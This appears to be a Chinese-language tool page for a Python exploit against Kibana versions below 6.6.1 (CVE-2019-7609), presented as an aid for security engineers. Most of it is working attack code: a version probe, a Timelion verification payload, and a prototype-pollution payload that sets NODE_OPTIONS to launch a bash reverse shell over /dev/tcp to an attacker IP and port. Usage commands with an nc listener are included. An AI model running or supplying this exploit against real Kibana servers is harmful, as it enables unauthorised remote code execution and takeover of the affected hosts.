Kibana < 6.6.1 RCE漏洞检测与利用工具 (CVE-2019-7609)

6 阅读4分钟

CVE-2019-7609: Kibana < 6.6.1 远程代码执行漏洞检测与利用工具

本项目是一个针对 CVE-2019-7609 漏洞的专业级Python利用脚本。该漏洞影响Kibana 5.6.15版本至6.6.1之前的版本,允许攻击者在目标服务器上执行任意代码。工具支持自动版本探测、漏洞验证以及反弹Shell功能,旨在帮助安全工程师快速评估系统风险。

漏洞利用截图转存失败,建议直接上传图片文件

功能特性

  • 🎯 智能版本探测:自动从目标Kibana的/app/kibana页面提取精确版本号,并与受影响版本范围(>=5.6.15, <6.6.1)进行比对。
  • ✅ 精准漏洞验证:通过向/api/timelion/run接口发送特制的恶意Payload,根据响应状态码和内容判断漏洞是否存在,误报率低。
  • 💻 一键反弹Shell:在漏洞验证成功后,可直接利用--shell参数向指定IP和端口发起反弹Shell连接,实现即时交互式控制。
  • 📦 单文件无依赖:工具为单一Python文件,仅依赖requests库,部署和使用极为简单。

安装指南

系统要求

  • Python 3.x
  • pip (Python包管理器)

安装步骤

  1. 克隆仓库或下载脚本

    git clone https://github.com/your-repo/CVE-2019-7609.git
    cd CVE-2019-7609
    

    或者直接下载 CVE-2019-7609-kibana-rce.py 文件到本地。

  2. 安装依赖 脚本仅需要 requests 库。使用pip进行安装:

    pip3 install requests
    

至此,安装完成。无需其他配置。

使用说明

基础使用场景

1. 仅检测漏洞是否存在

对目标Kibana服务器执行漏洞验证,不进行后续利用。

python3 CVE-2019-7609-kibana-rce.py -u http://target.com:5601

示例输出:

[+] http://target.com:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
2. 检测漏洞并尝试反弹Shell

验证漏洞存在后,立即向攻击机(192.168.1.100)的4444端口尝试反弹Shell。

前置操作:请确保在攻击机上已使用nc或其他工具开启监听,例如:nc -lvnp 4444

python3 CVE-2019-7609-kibana-rce.py -u http://target.com:5601 -host 192.168.1.100 -port 4444 --shell

示例输出:

[+] http://target.com:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 192.168.1.100:4444

参数概览

参数类型默认值描述
-u URLstrhttp://127.0.0.1:5601指定目标Kibana的URL地址
-host REMOTE_HOSTstr127.0.0.1反弹Shell的目标IP(攻击机IP)
-port REMOTE_PORTstr8888反弹Shell的目标端口(攻击机端口)
--shellflagFalse启用此标志以在验证成功后尝试反弹Shell

核心代码

1. Kibana版本提取 (get_kibana_version)

/app/kibana发送请求,通过正则匹配页面中的version字段来获取目标版本号。

def get_kibana_version(url):
    headers = {
        'Referer': url,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    url = "{}{}".format(url.rstrip("/"), "/app/kibana")
    r = requests.get(url, verify=False, headers=headers, timeout=30)
    patterns = ['&quot;version&quot;:&quot;(.*?)&quot;,', '"version":"(.*?)",']
    for pattern in patterns:
        match = re.findall(pattern, r.text)
        if match:
            return match[0]
    return '9.9.9' # 默认返回一个不受影响的高版本

2. 漏洞验证 (verify)

构造包含.es(*)表达式的恶意JSON数据,向Timelion API提交,通过响应判断漏洞是否存在。

def verify(url):
    global version
    if not version or not version_compare(["5.6.15", "6.6.1"], version):
        return False
    headers = {
        'Content-Type': 'application/json;charset=utf-8',
        'Referer': url,
        'kbn-version': version,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    # 核心Payload,用于触发漏洞
    data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
    url = "{}{}".format(url.rstrip("/"), "/api/timelion/run")
    r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
    # 判断漏洞存在的条件:状态码200,返回JSON且包含特定字符串
    if r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.text:
        return True
    else:
        return False

3. 反弹Shell (reverse_shell)

利用原型链污染,通过设置环境变量NODE_OPTIONS加载/proc/self/environ,执行包含反弹Shell命令的代码。

def reverse_shell(target, ip, port):
    random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8))
    headers = {
        'Content-Type': 'application/json;charset=utf-8',
        'kbn-version': version,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    # 复杂Payload:通过原型链污染注入恶意命令并设置NODE_OPTIONS
    data = r'''{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}''' % (random_name, random_name, ip, port)
    url = "{}{}".format(target, "/api/timelion/run")
    r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
    if r1.status_code == 200:
        # 触发加载环境变量,执行命令
        trigger_url = "{}{}".format(target, "/socket.io/?EIO=3&transport=polling&t=MtjhZoM")
        new_headers = headers
        new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'})
        r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20)
        if r2.status_code == 200:
            time.sleep(5)
            return True
    return False

6HFtX5dABrKlqXeO5PUv/3qRQRku0GxzhPEK3BfPTeY=